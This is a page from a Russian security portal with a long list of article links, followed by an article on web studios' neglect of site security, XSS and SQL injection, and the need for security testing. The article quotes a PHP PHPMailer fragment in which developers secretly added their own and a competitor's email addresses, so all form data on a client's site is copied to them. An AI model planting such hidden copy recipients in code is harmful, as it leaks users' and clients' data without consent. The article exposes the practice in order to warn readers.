ГлавнаяНовостиСтатьиКаталогВендорыСтандартыОбучениеКонтакты  +7 (495) 231-4831    © 


[ Список статей ] ...


С-Терра СиЭсПи. Защита удаленного доступа. Доверенный сеанс связи

CNews. Fortinet включает защиту уровней доступа в систему обеспечения ИБ

CNews. ИТ-подразделениям всё труднее контролировать корпоративные данные в «облаке»

Jammer.ru. Apple следит за своими поль-зователями через Yosemite

Lenta.ru. Разоблачение «Корпорации добра»

Securelist. Доставка от спамеров: опасность гарантирована

Lenta.ru. Интернет-Мерфи

3DNews. Сноуден как повод

Компьютерра. Plug&Pray: скрытая атака через USB

SecurityLab. Как я взломал роутер

Securelist. Дыры в защите корпоративной сети: облачные сервисы

Андрей Козенко, Султан Сулейманов. «Не понимают, как работает интернет»

Евгений Золотов. Windows 8.1: ставка на PC (а PC харкает кровью)

Евгений Царев. Впечатление от PHDays 2013 или кто заказчик кибербезопасности в России?

Олег Парамонов. Десять страхов: крах интернета, Big Data, утрата знаний и другие вещи, которые пугают учёных и футурологов

Brian Donohue. Альтернативные браузеры с улучшенной защитой

Андрей Васильков. Десять лучших пакетов офисных программ

Securelist. Спам в марте 2013

Бёрд Киви. Специалисты предупреждают...

Андрей Шуклин. Big Data: новый рынок, новые перспективы

Luis Corrons. Twitter, Facebook, Apple, Microsoft… кто следующий?

Елена Гореткина. Роль ИТ в повышении конкурентоспособности российских университетов

Сергей Бобровский. Кому сегодня выгодна борьба с пиратством и кто в нём виноват?

Алексей Лукацкий. 1 сентября в отрасли ИБ может наступить коллапс...

Олег Парамонов. Десять перспективных технологий, о которых через несколько лет узнают все

Михаил Емельянников. СМС-оповещения о движении средств по счету: всегда ли это безопасно

Евгений Золотов. Мрачные итоги Pwn2Own: почему браузеры так легко взломать и почему линуксоидам можно волноваться меньше?

xakep.ru. Криминалистический подход к анализу временных атрибутов файлов в операционной системе семейства Microsoft Windows и файловой системе NTFS

Securelist. Спам в январе 2013

Pandalabs. По данным Pandalabs, в 2012 году была инфицирована треть мирового числа компьютеров

Евгений Золотов. Цифровые теракты: страшная сказка становится былью

Leyre. Безопасный Интернет-серфинг

Лаборатория Касперского. Операция 'Red October' — обширная сеть кибершпионажа против дипломатических и государственных структур

Юрий Михайлов. Пять древних поисковиков, которые не перевернули мир (не считая Lycos)

Алексей Лукацкий. ИБ в год Змеи. Прогнозы и перспективы

Panda Security. Уязвимости будут основной целью киберпреступников в 2013

Лаборатория Касперского. Дед Мороз:Мошенник или волшебник?

Vision 2030. Информационная безопасность в 2030 году: прежними останутся только люди

Андрей Колесов. 2012-й — юбилейный год отечественного ИТ-рынка

PC-Week. Обновление до Windows 8: ответы на наиболее часто задаваемые вопросы

Лаборатория Касперского. Факты года: TOP 5 ужасов Рунета

CRN. 10 важнейших событий 2012 года в сфере безопасности

Емельянников M.. Панегирик выставочному бизнесу [в области информационной безопасности]

Черевко С.А.. Аспекты и перспективы развития информационной безопасности мобильных устройств

Uncr0wneD. Крэкинг: практика взлома и теория защиты

3dnews. Вы не любите одноразовые пароли? Тогда мы идём к вам!

Luis Corrons. Правда ли, что там опубликованы мои откровенные фотки?..

Популярная механика. Как убить интернет

Vasilis Pappas, Michalis Polychronakis, Angelos D. Keromytis. Устранение гаджетов: противодействие возвратно-ориентированному программированию путем рандомизации кода на месте

Специалист «Лаборатории Касперского». miniFlame, он же SPE: «Элвис и его друзья»

Steve Durbin. Большие возможности — большие риски

Л.Бесцветный. Три дня InfoSecurity Russia глазами обычного человека

Мария Наместникова. Спам в августе 2012 года

Исследовательский центр "Лаборатории Касперского" (GReAT). Полный анализ командных серверов Flame

AV-Comparatives. AV-Comparatives Июль 2012: Тестирование проактивной защиты антивирусов

Ana Etxebarria. Интернет-груминг: орудие педофилов

Лукацкий Алексей. Какой была безопасность в 90-х годах?

Юрий Наместников. География киберпреступлений. Западная Европа и Северная Америка

Роб Шапланд. Методы защиты от brute-force login attack

Евгений Касперский. Что в виндовсе тебе моём?

SecurityLab. Эксперты: Малые и средние компании под угрозой хакерских атак

Доктор Веб. Обзор вирусной активности в августе 2012 года: растущие ботнеты, уязвимость Java и новые угрозы для Android

Panda Security. Подростковый секстинг: бегущие по лезвию

Дарья Гудкова и Мария Наместникова. Спам во втором квартале 2012

Евгений Касперский. Сейф для денег

PandaLabs. Ежеквартальный отчет PandaLabs

Юрий Наместников. Развитие информационных угроз во втором квартале 2012 года

Наталья Анищук. Защита от DDoS-атак: поле для творчества и фантазии

Ной Шахтман. Парадокс Евгения Касперского

WhatsBetter.ru. Что лучше: Windows 7, Vista или XP?

WhatsBetter.ru. Какой антивирус лучше?

Илья Шабанов. Названы самые комфортные в работе антивирусы

Мария «Mifrill» Нефедова. Облава: о том, как спецслужбы ловят дропов, и не только

Алексей Кадиев. Ботнет Bredolab. Конец истории?

Юрий Ильин. «Добровольные» DDoS-атаки: комментарии экспертов

Александр Панасенко. Угрозы в сфере информационной безопасности: итоги 2010 и прогнозы на будущее

Берд Киви. За кулисами кибервойны

Берд Киви. Шифровальщик устал...

Chad Perrin. Эффективное уничтожение данных на жестких дисках и других накопителях

Н.Н. Федотов. Риски системного администратора: семь и еще один способ подвести сисадмина под монастырь

Берд Киви. Ближе к железу

Microsoft TechNet. Десять непреложных законов безопасности

Анатолий Темкин. Как карта ляжет

Андрей Сидельников. Правообладатели не придумали, как делить болваночный сбор

Антон Носик. Лохотрон в зоне .рф

Максим Букин. Лжевирусы атакуют

habr.ru. Взгляд на современные системы защиты от спама веб-форм

Кристиан Функ. Мошенничество в онлайн-играх: развитие нелегальной игровой экономики

Роман Гольд. Stuxnet: война 2.0

Вячеслав Закоржевский. Лазутчики киберкриминала

Cio.com (перевод — Елена Фирсова). Самые опасные работы в области технологий

Берд Киви. Боевой червь Stuxnet

Юрий Машевский. Антивирусный прогноз погоды: облачно

xakep.ru. Как найти украденный ноутбук?

Евгений Асеев. Небезопасный интернет

Курт Баумгартнер. Фальшивые антивирусы: актуальные тенденции

Chad Perrin. Новый взгляд на безопасность Windows: побудит ли решение Google отказаться от продуктов Microsoft и другие компании?

Максим Букин. Безопасность виртуальных платежей

Наталья Касперская. Intel купил McAfee

Виталий Краснов. Хакеры атакуют: как уберечь DNS-сервер

Вадим Стеркин. Так ли страшен контроль учетных записей

Берд Киви. В постели со шпионами

Юрий Ильин. Zeus: вирус, который грабит банки

Виталий Краснов. Гонка вооружений антиспама нарастает

Валерий Марчук. Еще один 0-day в Microsoft Windows или Stuxnet атакует

Владислав Пономарев. Троянская война

Алехандро Мартинез-Кабрера. Стереть себя из Интернета невозможно

Ника Парамонова. Эпоха Windows XP закончилась

Владимир Жилинский. Аппаратные кейлоггеры

Берд Киви. Конфликт криптографии и бюрократии

Берд Киви. Человек против обмана

Мартин Пранкевич. На коротком поводке: ограничиваем пользователей, выслеживаем нарушителей и наводим порядок в локальной сети

Мэтью Саррел. Главные на данный момент угрозы безопасности

Татьяна Никитина. ТОР10 киберпреступлений, в которых Запад отыскал «российский след»

Берд Киви. Безмолвный очевидец

Наталья Касперская. Нужен ли пользователю интернет-паспорт?

Михаил Емельянников. Как защищать персональные данные в интернете

lifehacker.com. Как отличить одно вредоносное ПО от другого

Максим Букин. Как защититься от мобильных мошенников

habr.ru. Взлом сайта: простые советы по безопасности

Виталий Краснов. Бизнес под ударом: веб-приложения остаются «дырявыми»

Дарья Гудкова. Спам и закон

Николай Двас. Запад обвинил Россию в развязывании кибервойн

habr.ru. Узнаем пароли пользователей 1С

Анна Володина. Спам-реклама: дешево и эффективно?

arstechnica.com. Офисный копир — еще одна брешь в безопасности?

mail.ru. 10 самых опасных вирусов в истории Интернета

habr.ru. Ваш автомобиль в недалеком будущем может быть запросто взломан хакерами

Валерий Васильев. Текущее состояние ландшафта кибер-преступности

Артур Лоянич. Как украсть чужой пароль

habr.ru. Банкоматных вирусов пост

Андрей Сидельников. Цензура интернет-трафика становится обычной практикой

Берд Киви. Шпион в кармане

Юрий Машевский. CrimeWare: новый виток противостояния

THG.ru. Symantec: кризис киберпреступности не помеха

Георг Вишерски. Опасности на пути пользователей социальных сетей

Дмитрий Тараканов. За кем охотится ZeuS

Ольга Зайцева. Dr.Web 6.0: ищем изменения

Славик Маркович. Пять главных тенденций в области защиты данных в 2010 году

Дэвид Эмм. Как залатать человеческие уязвимости?

Максим Букин. «Левые» контракты и ошибочные счета

Валерий Васильев. Весна 2010: кибер-преступность и кибер-защита

Олег Зайцев. Интернет магазины — как не стать жертвой мошенников

marcofolio.net. Профилактика SQL-инъекций

Michael Kassner. Свободные адреса IPv4 почти закончились

Владимир Гайкович. Рынок ИБ — это взрослое существо в детской одежде

InfoWatch. Глобальное исследование утечек за 2009 год

habr.ru. Если пришла проверка

Леонид Черняк. Безопасность: облако или болото?

Мария Сысойкина. Internet Explorer 8: Безопасный или неуязвимый?

Александра Бершадская. Биометрическая идентификация: о надежности технологии

Валерий Васильев, Дмитрий Сергеев. Человек — самое слабое звено в ИБ

Иван Шадрин. Корпорации стали уязвимее для хакерских атак

Michael Kassner. Информационная безопасность: что год 2010-й нам готовит?

xakep.ru. 2009: cамые громкие дела ушедшего года

Tom's Hardware Guide. Резервирование и восстановление данных: обзор трёх решений для Windows 7

Игорь Бахарев, Андрей Ковалевский. Торрент потерял только имя

Павел Борисов. Пойман автор порноролика в Москве

Иван Шадрин. Фальшивые антивирусы научились запугивать пользователей

Андрей Крупин. Социальный бэкап

Иван Шадрин. Бизнес уходит в «облака»

Алексей Лукацкий. Информационная безопасность 2010

Андрей Крупин. Ещё раз о защите WiFi-сетей

Raymond.СС. Тестирование антивирусов на быстродействие (Raymond.CC, февраль 2010)

habr.ru. Распространенные заблуждения про банковские карточки

Максим Букин. Монетизация «зловредов»

Андрей Крупин. Киберугрозы: сценарий будущего по версии «Лаборатории Касперского»

Иван Шадрин. От программ-вымогателей можно избавиться вручную

George Kurtz. Операция «Aurora». Удар по Google и прочим

Алексей Алексеев. Как украсть мегабайт

Татьяна Фомичева. Вирус, ложь и видео

winblog.ru. Изучаем скрытые возможности Windows 7

VirusInfo. Кошелек или жизнь: деактивация троянов-вымогателей

Берд Киви. Сюжет из «Плейбоя»

Майор Мышкин. За что могут посадить компьютерщика?

Иван Шадрин. Скорая компьютерная помощь: мошенники по вызову

Андрей Колесов. Антивирусная атака Microsoft

Сергей Яремчук. Новый оборонительный рубеж: обзор популярных систем отражения локальных угроз

Борис Лихтман, Андрей Сидельников. Правительства берут интернет под контроль

Виталий Камлюк. Экосистема ботнетов

Мачей Жарек. %^ef$g73$5r(@&#!! — несколько слов о шифровании и алгоритмах

Андрей Крупин. Безопасность в Windows 7 во всех ракурсах

Дмитрий Копытин. Безопасность при межпроектном взаимодействии

habr.ru. Вы несете деньги в Банк, Банки несут деньги в Bitrix

Андрей Анненков, Ольга Федина. Чужая ОС — потемки, или Где купить XP

Валентин Маков. Сайтокрушение

Mark Russinovich. Миф о дублировании SID компьютера

itsec.ru. SSL-защита ваших данных

Андрей Крупин. Обзор Returnil Virtual System 2010

Лариса Погонина. Скандальное потепление

Андрей Родин. Наилучшая защита беcпроводных сетей

Рик Фэрроу. Переполнение буфера

Берд Киви. Атака c воздуха

Игорь Осколков. Google Chrome OS — это просто, быстро и безопасно!

Вячеслав Закоржевский. Лжеспасатели

katkovonline.com. Ботнет: «был твой — стал мой» или как ботнеты работают

Валерий Васильев. Защита персональных данных накануне 01.01.10

Michael Kassner. Десять способов обнаружения вредоносного ПО

Вадим Стеркин. Управление UAC в Windows 7 и Windows Server 2008 R2

Хайрук Сергей. Проверка на зрелость: сертификация средств антивирусной защиты

Brien Posey. Десять наиболее распространенных проблем, которые можно решить редактированием реестра

Наталья Касперская. Защита от утечек в малом бизнесе — неосвоенный кусок пирога!

SecurityLab.ru. Статистика уязвимостей web-приложений за 2008 год

habr.ru. Способы сокрытия IP-адреса в сети Internet

Дон Рейзингер. 10 аргументов, чтобы остаться на XP до выхода Windows 7 SP1

Николас Колаковски. Windows 7 завершит эпоху Windows XP

Марина Мякишева. Infosecurity 2009: под страхом ФЗ о персональных данных

Алексей Лукацкий. Психология и информационная безопасность

Евгений Зобнин. Устоять любой ценой: методы борьбы с DoS/DDoS-атаками

Дмитрий Чеканов. Режим Windows XP Mode и VirtualBox: когда без XP не обойтись

Кристиан Функ. Ловушки интернета

Игорь Крейн. Бесплатный антивирус Microsoft разгонит платных конкурентов?

Рашид Нургалиев. Электронный патруль

Дмитрий Дурасов. Forefront TMG Beta3: отчет о 3-х месячном тестировании

Джеймс Тернер. Особенности контроля учетных записей Vista

Кеннет Касс. Обратная сторона DLP

Валерий Коржов. Кризис, виртуализация и персональные данные

CNews. Виртуализация: Microsoft готовится к реваншу

Andy Smith. Результаты тестирования: Windows 7 RTM против Vista и XP

Андрей Крупин. Microsoft Security Essentials: антивирус не для всех

Владимир Безмалый. Технологии социальной инженерии

Алексей Стародымов. Возврат денег за ОС: первые результаты

habr.ru. Шнайер о проблеме деидентификации

Влад Чучко. Интервью с Натальей Касперской

Андрей Крупин. Новый подход к защите ПК от Symantec

Степан Ильин. 10 зло-вирусов. Самая нашумевшая малварь за последние 10 лет

Владимир Безмалый. Безопасность мобильных носителей информации

Максим Букин. «Зловреды» для мобильных пользователей

Валерий Васильев. Закон о персональных данных: «градус» обсуждения растет

Ольга Зайцева. Антивирусная защита: нужен второй эшелон

Владимир Безмалый. Автозагрузка в Windows 7

webplanet.ru. МГУ vs DDoS: «Мы даем защиту. Бесплатно.»

Дамир Диздаревич. Механизм хранения имен пользователей и паролей

Владимир Безмалый. BitLocker в Windows 7

Андрей Крупин. Kaspersky Internet Security 2010: территория безопасности

Игорь Крейн, Владислав Михеев. «ВКонтакте» с фишерами и без

Ryan Singel. Google против Microsoft

Дмитрий Евтеев. Анализ проблем парольной защиты в российских компаниях

Андрей Крупин. Первый взгляд на Microsoft Security Essentials

Ольга Зайцева. Нужны ли антивирусы пользователям Mac OS?

Алексей Стародымов, Марина Пелепец. Спам в ICQ: механизмы и способы защиты

Дарья Гудкова. Спамеры Рунета

Андрей Крупин. Microsoft Office 2010: первые впечатления

Вениамин Левцов, Илья Новиков. Защита персональных данных: откладывать больше нельзя

Debra Littlejohn Shinder. Десять причин, по которым Vista-ненавистникам может понравиться Windows 7

Джон Грин. Защита на последнем рубеже (сравнение корпоративных антивирусов)

Артем Рябинков. Усиливаем аутентификацию или зачем нужны одноразовые пароли

Кирилл Алехин. 15 вопросов про спам

xakep.ru. Hyper-V: технология виртуализации для Windows Server 2008

Андрей Колесов. О Cloud Computing замолвите слово

Алексей Стародымов, Марина Пелепец. Вирусы в банкоматах: заключение

Андрей Колесов. О порядке смены ОС

Андрей Крупин. Тонкая настройка Internet Explorer 8

InfoSecurity.ru. Боевые заслуги червя Conficker

Группа информационной безопасности Group-IB. Краткий аналитический вопросник по бот-сетям в РФ 2009 год

Аналитический центр InfoWatch. Глобальное исследование утечек 2008

Владимир Безмалый. Новые технологии, старые проблемы

Евгений Шахов. Круговая защита вашего ПК (сравнение продуктов Internet Security 2009)

John Markoff. Нам нужен новый Интернет?

Питер Брайт, arstechnica.com (перевод – xakep.ru). Windows 7: бета-экскурсия

Данил Анисимов. Утечки данных: текущий год уже обогнал прошедший?

Ольга Федина. Пароль «123456» знаешь? Проходи!

Вадим Ференец. Новый альянс на рынке ИБ делает первые шаги

Андрей Крупин. Секреты Windows 7 Beta

SecurityLab. Тенденции ИБ в условиях кризиса

Владимир Ульянов. Итоги 2008: самые необычные утечки

Марина Мякишева. Кибервойна: вирусные аналитики подводят итоги года

Сергей Гордейчик. Оценка рисков использования Web-приложений

Владимир Ульянов. Персональные данные на практике остаются беззащитными (на основании исследования «Персональные данные в России 2008»)

Денис Зенкин. Уничтожение данных: скрытая угроза растет

Chad Perrin. Десять самых распространенных ошибок в сфере компьютерной безопасности, которые ни в коем случае нельзя совершать

SecurityLab. Международная статистика уязвимостей WEB

Владимир Ульянов. Инсайд 2008: Самые громкие и самые глупые утечки

Прокофьев Никита. Обзор Kaspersky Internet Security 2009

SecurityLab. Сравнение программных пакетов Internet Security – 2008

Интервью с Владимиром Мамыкиным. Информационная безопасность Microsoft

Tom's Hardware Guide. Сравнение программ резервного копирования для рабочих станций

Владимир Безмалый. Контроль использования USB-накопителей в Windows Server 2008

Жан де Клерк. Изоляция угроз из Internet в Windows Server 2008 и Vista

Михаил Карпов. Windows 7: первые сведения о новой системе

Иван Стогов. Сравнительный анализ антивирусного ПО

Дмитрий Антиномов. Защитное ПО в России: секретно ли секретное?

Законодательство. Федеральный закон Российской Федерации № 152-ФЗ «О персональных данных»

Законодательство. Постановление Правительства РФ от 17 ноября 2007 г. N 781 «Об утверждении Положения об обеспечении безопасности персональных данных при их обработке в информационных системах персональных данных»

Winblog. Защита файлов паролем

Сабадаш Даниил. Обзор Nero 8

Дмитрий Соколов. Подпись для электронного документа

Денис Михайлов. Взлом и защита учетной записи Windows XP

Андрей Письменный. Тестирование антивирусов

Елена Панасенко. Сменные носители – главное орудие инсайдеров

Михаил Ратнер. Побеждаем вирусы в Vista без использования антивирусных программ

Николай Гребенников. Методы защиты конфиденциальных данных в современных решениях класса Security Suite

Николай Полевой. Шпионит ли Microsoft за обладателями Vista?

Григорий Рудницкий. Kaspersky Internet Security 7.0: первый взгляд

Исследование компании InfoWatch и портала Zoom.CNews. Безопасность мобильных устройств 2007

Николай Гребенников. Клавиатурные шпионы. Часть II. Варианты реализации кейлоггеров в ОС Windows

Николай Гребенников. Клавиатурные шпионы. Принципы работы и методы обнаружения

Виталий Денисов. Опасность безопасных соединений

Андрей Шипилов. «Битрикс» сливается с «1С»

Александр Астахов. Борьба с инсайдерами: подбираем амуницию

InfoWatch. Утечки 2006 - глобальное исследование от InfoWatch

Наталья Касперская. Безопасность от Microsoft: шаг к обновленному миру?

Александр Астахов. Как построить систему управления информационной безопасностью

Константин Черезов. Проблема внутри? Решение там же!

Михаил Пышкин. Международный опыт управления информационной безопасностью для российских компаний

Юрий Машевский. Кража собственности в компьютерных сетях

Интервью с Сергеем Груздевым. Сегмент AAA в России является самым быстрорастущим в ИБ

Алексей Сабанов. Обзор технологий идентификации и аутентификации

Алексей Сабанов, Антон Крячков, Константин Демченко, Сергей Белов. Как управлять закрытыми ключами

Александр Астахов. История стандарта BS 7799

Марат Давлетханов. Secret Disk для защиты корпоративных данных

Ника Комарова. Как защитить компанию от кражи баз данных

Марат Давлетханов. Концепция одноразовых паролей в системе аутентификации

Алексей Доля. Защита конфиденциальных данных на ноутбуках и КПК

Rainbow Technologies. UTM-устройства на страже компьютерной сети

Rainbow Technologies. Атаки на сеть через переполнение буфера – технологии и способы борьбы

Алексей Лукацкий. Предотвращение сетевых атак: технологии и решения

Rainbow Technologies. Технология Precise BioMatch™ - объединяя лучшее в биометрической аутентификации

Опрос. Хакеры и сетевые вандалы: разница в мотивации

Обзор. Безопасность популярных операционных систем в 2006 г.

Полезные советы. Кардинг или безналичный обман

Исследование. Социокультурный аспект внедрения некоторых категорий средств защиты в организациях с преимущественно женским контингентом

Обзор. Развитие вредоносных программ: уязвимости в MacOS X, 2005 — 2006 год

Евгений Касперский. Прогнозы изменений в антивирусной индустрии

Олег Гудилин. Проактивность как средство борьбы с вирусами

Виктор Дронов. Портрет заказчика спамерских услуг в России

Пол Даклин. Простые советы по более разумному выбору и использованию паролей

Круглый стол. Источник со стороны

СофтПоинт. Проблемы безопасности данных в системе 1С Предприятие 7.7 и MSSQL 2000

Алексей Лукацкий. Размышления о Web-студиях и защищенном сайте

Аналитика. Почему ВУЗ не способен подготовить специалиста по безопасности

Законодательство. Правительство РФ утвердило "Положение о лицензировании деятельности по технической защите конфиденциальной информации"

 Алексей Лукацкий 

Размышления о Web-студиях и защищенном сайте

  Иметь сайт в Интернете стало модным. Даже президент Путин не избежал этого поветрия и совсем недавно обновил свой сайт (http://www.kremlin.ru). Но просто открыть "витрину" своей компании в Сети недостаточно - она должна быть защищена от любителей виртуального "граффити" (рис. 1), которые в "лучшем" случае оставят на главной странице надпись типа "Киса и Ося были здесь" (рис. 2). В худшем случае сайт может быть стерт с лица Интернета либо данные, хранящиеся на нем, будут украдены или несанкционированно изменены. Как известно, пожар легче предотвратить, чем тушить. Так и с информационной безопасностью: гораздо эффективнее (да и дешевле) задуматься о безопасности сайта еще на этапе его проектирования и программирования. Но способны ли Web-студии обеспечить защиту своих творений?



Рис.1. В сети, как на заборе, есть место всему - и граффити тоже.




Рис.2. Сегодня хакеры бывают не только "идейными", но и "законопослушными".

  Автор прошелся по Web-сайтам некоторых, в том числе и именитых студий, предлагающих свои (недешевые, заметим) услуги по созданию сайтов, и что же? Ни одна из них не упомянула в своих "портфолио" понятие "защищенный сайт". И в типовых договорах нет ни слова о защите…

  Что это - некомпетентность или осознанное нежелание ввязываться в неизвестную, а значит, таящую множество сюрпризов область ИТ? К сожалению, приходится признать, что скорее всего первое. Попробую проиллюстрировать этот тезис, опираясь на личный опыт участия в ряде Интернет-проектов.

Некомпетентность, граничащая с неуважением к клиенту…

  Открываем нетиповой договор фирмы, заявляющей о себе как об одном из лидеров российского рынка Web-разработок. Раздел "Безопасность" в нем состоит из трех строк: "Безопасность передачи данных обеспечивается стандартными протоколами, использующимися для работы с Web-страницами. Физическую сохранность данных обеспечивает компания, осуществляющая хостинг. При работе Web-системы используется механизм cookies". Вот и вся безопасность, под которой понимается только шифрование информации, передаваемой между Web-сервером и браузером клиента, и физическое ограничение доступа к "железу", на котором работает сайт. И это при том, что остальные моменты, связанные с созданием Web-ресурса (навигация, дизайн, функциональные модули и т. п.), прописаны вполне четко.

  Ну ладно, договор - это для юристов, которые в информационной безопасности смыслят так же, как автор в юриспруденции, а может быть, еще меньше. Но в документации-то должны быть расписаны основные механизмы обеспечения защищенности информации, доверенной клиентом Web-серверу?

  Должны, но… В руководстве администратора информации есть, конечно, некоторые фразы, однако когда начинаешь их анализировать, становится не по себе. Защитный механизм всего один - разграничение доступа по IP. Это к внешнему-то ресурсу? Интересно, как разработчики Web-системы представляли себе использование этого механизма? Я что, перед тем, как выложить сайт в Интернет, должен узнать у пользователей их IP-адреса?

  Но, может, просто технические писатели не удосужились выяснить у разработчиков, какие методы сохранности информации будут использоваться, или этот раздел документации давно не обновлялся? Ведь такое вполне может быть. Наверное, все станет на свои места, стоит лишь обратиться к техническому директору компании, одному из ее основателей и идеологов "по развитию продукта". Уж он-то не может не разбираться в вопросах безопасности своего детища.

  Его ответы повергли автора в шок. Во-первых, означенный "специалист" не знаком с такой атакой, как Cross Site Scripting (XSS), известной уже не первый год и способной привести к утечке конфиденциальной информации, краже пароля, маскировке под другого пользователя и т. п. В свое время эта уязвимость существовала во множестве электронных магазинов - Barnes&Nobles, McDonald's, Phillip Morris, WalMart и т. д. Уязвимости данного типа позволяют внедрить в содержимое страницы сценарий, исполняемый на компьютере клиента. Одна из распространенных целей атаки - получение содержимого cookie, в том числе имени и пароля пользователя. А так как в рассматриваемой нами Web-системе пароль и идентификатор пользователя хранились в открытом виде, то злоумышленник мог преспокойно получить к ним доступ.

  Когда автор указал техническому директору на наличие такой зияющей дыры, тот заявил дословно следующее: "Чтобы получить доступ к cookies, нужно получить физический доступ к машине. Уязвимости, связанные с необходимостью физического доступа, почти так же "опасны", как автоматчики в масках, вызнающие пароль физически". После проведения небольшого ликбеза с демонстрацией способа использования XSS его пыл чуть "поугас", но устранять дыру он все равно отказался, ссылаясь на то, что "…обычные пользователи, которые "просто из Интернета", о своей безопасности должны заботиться сами. Да они и не обладают никакими правами, чтобы бояться несанкционированных действий от их имени".

  Дальше - больше. В настоящий момент многие сайты представляют собой не статический набор HTML-страниц, а динамически собираемое "на лету" содержимое. При этом все текстовые "кирпичики", из которых строится итоговая страница, видимая пользователю, хранятся в базе данных. С одной стороны, это облегчает работу с сайтом, с другой - вносит ряд проблем с точки зрения безопасности. Самая распространенная из них - атака SQL Injection.

  Ряд хранимых процедур SQL-сервера (Microsoft SQL, Oracle, MySQL и т. п.) на основании переданных параметров строят запрос, который затем исполняется через функцию exec. Злоумышленнику достаточно специальным образом сформировать значение параметров запроса и выполнить произвольный SQL-запрос на сервере базы данных. Это справедливо для абсолютно любого запроса, который только придет в голову нарушителю, например:

  • занесения новой учетной записи в список пользователей сайта;
  • манипуляции с данными (особенно "красиво" это выглядит на сервере электронной коммерции, в Интернет-магазине и т. п.);
  • модификации содержимого страниц;
  • удаления каких-либо данных и учетных записей пользователей;
  • получения доступа к таблице с паролями пользователей и т. п.

  Парадокс в том, что данная "дыра" существовала еще в самой первой версии анализируемого нами Web-сайта, т. е. с 1997 г. Проведенный экспресс-анализ сайтов, "построенных" компанией-разработчиком, выявил аналогичную проблему у всей "генерации". А среди клиентов этой амбициозной компании, поставившей перед собой цель "…войти в 500 крупнейших ИТ-компаний России к 2010 г.", есть и очень громкие имена, взлом сайтов которых - мечта любого начинающего хакера.

  Видя такие дыры (а их список насчитывал несколько десятков), автору было смешно и горько слышать заявления менеджера проекта - "…стандартный код протестирован не один десяток раз и проверен временем и клиентами". Уж не знаю, что и кто там тестировал, но с вопросами информационной безопасности они, видимо, знакомы не были.

Все текстовые "кирпичики", из которых строится динамическая Web-страница, видимая пользователю, хранятся в базе данных. Это, безусловно, облегчает работу с сайтом, но вносит ряд проблем с точки зрения безопасности. Самая распространенная из них - атака SQL Injection.

…или преступление

  Однако не всегда дыры - следствие некомпетентности компании-разработчика. Иногда это результат осознанных действий, как, например, случилось в другом проекте, в котором автору довелось поучаствовать. Не буду подробно описывать его детали - просто приведу код, который был обнаружен в процессе анализа исходных текстов разработанного сайта. Сразу отмечу, что привожу лишь фрагмент, иллюстрирующий мои слова, - все промежуточные строки удалены, чтобы не занимать внимание читателя несущественными моментами и сфокусироваться только на данном тексте (все адреса электронной почты вымышлены).

   $mail = new PHPMailer();
   $mail->From = EMAIL_FROM;
   $mail->AddAddress($email);
   $mail->AddAddress("competitor@competitor.ru");
   $mail->AddAddress("webstudio@webstudio.ru");
   $mail->Send();

  Фрагмент, как видно, описывает отправку по электронной почте определенной информации, полученной из формы на сайте. Таковой может быть форма обратной связи, заявки на вакансию, покупка с помощью кредитной карты и т. п. Информация, согласно техническому заданию, должна была отправляться на адрес, указанный в переменной email, и это действительно так, но… разработчики не забыли включить в код и собственные адреса, на которые должна была отправляться копия всех вводимых на сайте данных. Можно, конечно, считать это досадным недоразумением, возникшим в процессе тестирования сайта, но мне трудно поверить, что в итоговом варианте "случайно" остались эти два (хотя для тестирования достаточно и одного) адреса электронной почты.

Тестирование и безопасность

  Не будем больше касаться преднамеренного внесения закладок в код сайта, поговорим только о причинах некомпетентности разработчиков Web-систем. Основная из них - непонимание сути информационной безопасности (ИБ). Для сайта такое ПО - это не просто дополнительный функциональный модуль. ИБ - это неотъемлемый и постоянный процесс, который должен сопровождать сайт с момента начала его проектирования до завершения его жизненного цикла.

  При существующем уровне развития хакерских технологий уже недостаточно только разграничения доступа к внешнему сайту по IP-адресам (хотя это, откровенно говоря, бредовая затея). Необходима комплексная защита, состоящая из грамотной фильтрации вводимых значений, шифрования регистрационных данных пользователя, блокирования неконтролируемого доступа к базе данных и многого другого.

  Но и это не все. Даже воплощенные в полном объеме, механизмы защиты требуют тестирования. Вторая причина, которая приводит к появлению уязвимых сайтов, - отсутствие тестирования "на предмет защищенности".

  Тестирование ПО сайта и тестирование его безопасности - вещи абсолютно разные. В первом случае разработчик проверяет наличие функциональных модулей (в том числе и модулей безопасности) и их функциональное соответствие техническому заданию (ТЗ). Но наличие модуля отнюдь не говорит о его подверженности атакам (или стойкости к ним).

  Возьмем простой пример - в ТЗ прописано требование наличия "системы регистрации пользователей по паролю". При проверке данного модуля тестирующий обычно пытается зарегистрироваться на сайте под разными учетными записями, и если это получается, то ставит "галочку" и считает свою задачу выполненной. Но вопрос защищенности модуля остается открытым. А модуль этот может:

  • разрешить вообще не использовать пароли;
  • не контролировать длину вводимых паролей, что может привести к атаке типа "переполнение буфера";
  • не контролировать вводимый текст, который может оказаться не паролем, а исполняемым кодом;
  • не шифровать введенные пользователем данные;
  • позволять узнать или подобрать имя и пароль зарегистрированного пользователя и т. д.

  Все перечисленные проблемы невозможно выявить в процессе обычного функционального тестирования - требуется проверка с точки зрения безопасности. А кто может ее провести? Уж точно не программист, писавший проверяемый код, - тот ему уже настолько "приелся", что он в нем и обычных "ляпов" не видит, не то что дыры безопасности. Проверить код способен только эксперт, имеющий соответствующую квалификацию.

  К сожалению, автор пока не слышал, чтобы Web-студии имели в штате таких специалистов, а извне их не приглашают. Это происходит по ряду причин - нежелания признавать свои ошибки, давать доступ к коду, делиться доходами. Хотя зачастую в Web-студиях работают просто слишком самоуверенные или не понимающие суть проблемы защиты информации люди. Но не так важна изначальная причина - важно, что сайты остаются незащищенными, чем и пользуется хакерское сообщество.

Функциональное соответствие модуля техническому заданию отнюдь не указывает на его подверженность атакам или стойкость к ним.

  Но не все, кто называет себя специалистами, являются таковыми на деле. Приведем два примера. Для одного проекта сайта "ушлые" заказчики сами пригласили известную в узких кругах группу специалистов по безопасности, а для другого - "крутую" фирму, занимающуюся всем спектром услуг в области ИБ, от анализа рисков до поставки коробочных продуктов. В обоих случаях результат был одинаков (хотя стоимость услуг отличалась на порядок): "специалисты" просканировали сайт бесплатными сканерами Nessus и Nikto и "выкатили" отчет об отсутствии дыр, не подозревая о том, что все их попытки блокировались системой предотвращения атак, установленной на Web-сайте.

